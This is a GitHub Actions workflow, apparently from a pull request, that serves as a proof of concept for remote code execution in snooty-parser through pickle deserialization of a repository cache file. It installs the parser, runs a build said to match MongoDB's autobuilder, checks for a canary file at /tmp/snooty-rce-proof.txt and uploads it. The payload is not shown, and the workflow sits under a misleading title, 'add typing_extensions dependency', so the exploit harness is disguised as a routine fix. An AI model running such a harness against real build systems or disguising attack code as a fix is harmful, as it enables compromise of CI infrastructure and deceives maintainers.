fix: add typing_extensions dependency for CI runner #2

	name: "PoC: snooty-parser pickle.loads RCE (CWE-502)"
	on: [push, pull_request]
	jobs:
	snooty-rce-poc:
	runs-on: ubuntu-latest
	timeout-minutes: 10
	steps:
	- uses: actions/checkout@v4
	- name: Show cache file
	run: ls -la .snooty-*.cache.gz 2>/dev/null \|\| echo "No cache"
	- uses: actions/setup-python@v5
	with:
	python-version: "3.11"
	- name: Install snooty-parser and dependencies
	run: \|
	pip install typing_extensions
	pip install 'git+https://github.com/mongodb/snooty-parser.git'
	python -c "from snooty import __version__; print(f'snooty version: {__version__}')"
	- name: Run snooty build (triggers pickle.loads)
	run: \|
	echo "=== Running snooty build ==="
	echo "Same command the MongoDB autobuilder runs on every PR."
	python -m snooty build . 2>&1 \|\| true
	echo "=== Build complete ==="
	- name: Verify RCE
	run: \|
	if [ -f /tmp/snooty-rce-proof.txt ]; then
	echo "====================================="
	echo " RCE CONFIRMED on Actions Runner"
	echo "====================================="
	cat /tmp/snooty-rce-proof.txt
	else
	echo "Canary not found — checking if snooty loaded the cache..."
	fi
	- name: Negative test
	run: \|
	rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt
	python -m snooty build . 2>&1 \|\| true
	if [ ! -f /tmp/snooty-rce-proof.txt ]; then
	echo "Negative test PASSED: no RCE without malicious cache"
	fi
	- uses: actions/upload-artifact@v4
	if: always()
	with:
	name: snooty-rce-proof
	path: /tmp/snooty-rce-proof.txt
	if-no-files-found: warn

Navigation Menu